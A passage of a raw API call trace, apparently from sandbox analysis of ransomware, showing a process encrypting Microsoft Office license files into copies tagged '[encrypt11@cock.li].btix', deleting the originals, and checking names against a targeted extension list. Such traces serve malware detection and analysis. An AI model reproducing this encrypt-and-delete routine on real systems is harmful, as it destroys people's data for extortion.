CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0142.909] GetLastError () returned 0x0 [0142.909] ReadFile (in: hFile=0x3bc, lpBuffer=0x42bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesRead=0x378fecc*=0x1070, lpOverlapped=0x0) returned 1 [0142.921] WriteFile (in: hFile=0x550, lpBuffer=0x42bd020*, nNumberOfBytesToWrite=0x1080, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesWritten=0x378fc94*=0x1080, lpOverlapped=0x0) returned 1 [0142.922] ReadFile (in: hFile=0x3bc, lpBuffer=0x42bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0142.922] WriteFile (in: hFile=0x550, lpBuffer=0x42bd020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesWritten=0x378fc94*=0x106, lpOverlapped=0x0) returned 1 [0142.922] SetEndOfFile (hFile=0x550) returned 1 [0142.922] CloseHandle (hObject=0x550) returned 1 [0142.922] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.922] SetEndOfFile (hFile=0x3bc) returned 1 [0142.924] CloseHandle (hObject=0x3bc) returned 1 [0142.924] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0142.925] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms")) returned 1 [0142.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0142.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0142.925] lstrlenW (lpString=".doc") returned 4 [0142.925] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0142.925] lstrlenW (lpString=".docx") returned 5 [0142.925] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0142.925] lstrlenW (lpString=".pdf") returned 4 [0142.925] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0142.925] lstrlenW (lpString=".xls") returned 4 [0142.925] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0142.926] lstrlenW (lpString=".xlsx") returned 5 [0142.926] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0142.926] lstrlenW (lpString=".ppt") returned 4 [0142.926] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0142.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0142.926] lstrlenW (lpString=".zip") returned 4 [0142.926] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0142.926] lstrlenW (lpString=".rar") returned 4 [0142.926] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0142.926] lstrlenW (lpString=".bz2") returned 4 [0142.926] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0142.926] lstrlenW (lpString=".7z") returned 3 [0142.926] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0142.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0142.926] lstrlenW (lpString=".dbf") returned 4 [0142.926] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0142.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0142.926] lstrlenW (lpString=".1cd") returned 4 [0142.926] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0142.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0142.926] lstrlenW (lpString=".jpg") returned 4 [0142.926] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0142.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0142.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0142.926] lstrlenW (lpString=".doc") returned 4 [0142.926] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0142.926] lstrlenW (lpString=".docx") returned 5 [0142.926] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0142.926] lstrlenW (lpString=".pdf") returned 4 [0142.926] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0142.926] lstrlenW (lpString=".xls") returned 4 [0142.926] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0142.926] lstrlenW (lpString=".xlsx") returned 5 [0142.926] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0142.927] lstrlenW (lpString=".ppt") returned 4 [0142.927] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0142.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0142.927] lstrlenW (lpString=".zip") returned 4 [0142.927] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0142.927] lstrlenW (lpString=".rar") returned 4 [0142.927] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0142.927] lstrlenW (lpString=".bz2") returned 4 [0142.927] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0142.927] lstrlenW (lpString=".7z") returned 3 [0142.927] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0142.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0142.927] lstrlenW (lpString=".dbf") returned 4 [0142.927] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0142.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0142.927] lstrlenW (lpString=".1cd") returned 4 [0142.927] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0142.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0142.927] lstrlenW (lpString=".jpg") returned 4 [0142.927] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0142.927] lstrcmpiW (lpString1=".xrm-ms", lpString2=".btix") returned 1 [0142.927] lstrlenW (lpString="ExcelR_Grace-ul-oob.xrm-ms") returned 26 [0142.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0142.928] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=11589) returned 1 [0142.928] CloseHandle (hObject=0x3bc) returned 1 [0142.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms")) returned 0x220 [0142.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0142.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0142.929] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.929] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0142.930] GetLastError () returned 0x0 [0142.930] ReadFile (in: hFile=0x3bc, lpBuffer=0x42bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesRead=0x378fecc*=0x2d45, lpOverlapped=0x0) returned 1 [0142.935] WriteFile (in: hFile=0x550, lpBuffer=0x42bd020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesWritten=0x378fc94*=0x2d50, lpOverlapped=0x0) returned 1 [0142.936] ReadFile (in: hFile=0x3bc, lpBuffer=0x42bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0142.936] WriteFile (in: hFile=0x550, lpBuffer=0x42bd020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesWritten=0x378fc94*=0x108, lpOverlapped=0x0) returned 1 [0142.936] SetEndOfFile (hFile=0x550) returned 1 [0142.944] CloseHandle (hObject=0x550) returned 1 [0142.945] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.945] SetEndOfFile (hFile=0x3bc) returned 1 [0142.957] CloseHandle (hObject=0x3bc) returned 1 [0142.957] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0143.212] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms")) returned 1 [0143.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0143.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0143.310] lstrlenW (lpString=".doc") returned 4 [0143.310] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0143.310] lstrlenW (lpString=".docx") returned 5 [0143.310] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0143.311] lstrlenW (lpString=".pdf") returned 4 [0143.311] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0143.311] lstrlenW (lpString=".xls") returned 4 [0143.311] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0143.311] lstrlenW (lpString=".xlsx") returned 5 [0143.311] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0143.311] lstrlenW (lpString=".ppt") returned 4 [0143.311] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0143.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0143.311] lstrlenW (lpString=".zip") returned 4 [0143.311] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0143.311] lstrlenW (lpString=".rar") returned 4 [0143.311] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0143.321] lstrlenW (lpString=".bz2") returned 4 [0143.321] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0143.321] lstrlenW (lpString=".7z") returned 3 [0143.321] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0143.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0143.321] lstrlenW (lpString=".dbf") returned 4 [0143.321] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0143.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0143.321] lstrlenW (lpString=".1cd") returned 4 [0143.321] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0143.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0143.321] lstrlenW (lpString=".jpg") returned 4 [0143.321] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0143.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0143.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0143.322] lstrlenW (lpString=".doc") returned 4 [0143.322] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0143.322] lstrlenW (lpString=".docx") returned 5 [0143.322] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0143.322] lstrlenW (lpString=".pdf") returned 4 [0143.322] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0143.322] lstrlenW (lpString=".xls") returned 4 [0143.322] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0143.322] lstrlenW (lpString=".xlsx") returned 5 [0143.322] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0143.322] lstrlenW (lpString=".ppt") returned 4 [0143.322] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0143.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0143.322] lstrlenW (lpString=".zip") returned 4 [0143.323] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0143.323] lstrlenW (lpString=".rar") returned 4 [0143.323] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0143.323] lstrlenW (lpString=".bz2") returned 4 [0143.323] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0143.323] lstrlenW (lpString=".7z") returned 3 [0143.323] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0143.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0143.323] lstrlenW (lpString=".dbf") returned 4 [0143.323] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0143.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0143.323] lstrlenW (lpString=".1cd") returned 4 [0143.323] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0143.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0143.323] lstrlenW (lpString=".jpg") returned 4 [0143.323] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0143.323] lstrcmpiW (lpString1=".xrm-ms", lpString2=".btix") returned 1 [0143.323] lstrlenW (lpString="ExcelR_Retail-ul-oob.xrm-ms") returned 27 [0143.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0143.395] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=11574) returned 1 [0143.395] CloseHandle (hObject=0x4a0) returned 1 [0143.395] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms")) returned 0x220 [0143.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0143.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0143.757] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.757] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0143.936] GetLastError () returned 0x0 [0143.936] ReadFile (in: hFile=0x508, lpBuffer=0x42bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesRead=0x378fecc*=0x2d36, lpOverlapped=0x0) returned 1 [0143.961] WriteFile (in: hFile=0x568, lpBuffer=0x42bd020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesWritten=0x378fc94*=0x2d40, lpOverlapped=0x0) returned 1 [0143.962] ReadFile (in: hFile=0x508, lpBuffer=0x42bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0143.962] WriteFile (in: hFile=0x568, lpBuffer=0x42bd020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesWritten=0x378fc94*=0x10a, lpOverlapped=0x0) returned 1 [0143.962] SetEndOfFile (hFile=0x568) returned 1 [0143.984] CloseHandle (hObject=0x568) returned 1 [0143.990] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.990] SetEndOfFile (hFile=0x508) returned 1 [0144.006] CloseHandle (hObject=0x508) returned 1 [0144.006] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0144.007] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms")) returned 1 [0144.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0144.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0144.007] lstrlenW (lpString=".doc") returned 4 [0144.007] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0144.007] lstrlenW (lpString=".docx") returned 5 [0144.007] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0144.007] lstrlenW (lpString=".pdf") returned 4 [0144.007] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0144.007] lstrlenW (lpString=".xls") returned 4 [0144.007] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0144.008] lstrlenW (lpString=".xlsx") returned 5 [0144.008] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0144.008] lstrlenW (lpString=".ppt") returned 4 [0144.008] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0144.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0144.008] lstrlenW (lpString=".zip") returned 4 [0144.008] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0144.008] lstrlenW (lpString=".rar") returned 4 [0144.008] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0144.008] lstrlenW (lpString=".bz2") returned 4 [0144.008] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0144.008] lstrlenW (lpString=".7z") returned 3 [0144.008] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0144.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0144.008] lstrlenW (lpString=".dbf") returned 4 [0144.008] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0144.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0144.008] lstrlenW (lpString=".1cd") returned 4 [0144.008] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0144.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0144.008] lstrlenW (lpString=".jpg") returned 4 [0144.008] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0144.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0144.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0144.008] lstrlenW (lpString=".doc") returned 4 [0144.008] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0144.008] lstrlenW (lpString=".docx") returned 5 [0144.008] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0144.008] lstrlenW (lpString=".pdf") returned 4 [0144.008] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0144.009] lstrlenW (lpString=".xls") returned 4 [0144.009] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0144.009] lstrlenW (lpString=".xlsx") returned 5 [0144.009] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0144.009] lstrlenW (lpString=".ppt") returned 4 [0144.009] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0144.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0144.009] lstrlenW (lpString=".zip") returned 4 [0144.009] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0144.009] lstrlenW (lpString=".rar") returned 4 [0144.009] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0144.009] lstrlenW (lpString=".bz2") returned 4 [0144.009] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0144.009] lstrlenW (lpString=".7z") returned 3 [0144.009] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0144.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0144.009] lstrlenW (lpString=".dbf") returned 4 [0144.009] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0144.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0144.009] lstrlenW (lpString=".1cd") returned 4 [0144.009] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0144.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0144.009] lstrlenW (lpString=".jpg") returned 4 [0144.009] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0144.009] lstrcmpiW (lpString1=".xrm-ms", lpString2=".btix") returned 1 [0144.009] lstrlenW (lpString="ExcelVL_MAK-ppd.xrm-ms") returned 22 [0144.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0144.010] GetFileSizeEx (in: hFile=0x508, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=6795) returned 1 [0144.010] CloseHandle (hObject=0x508) returned 1 [0144.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms")) returned 0x220 [0144.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0144.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0144.011] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.011] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.011] 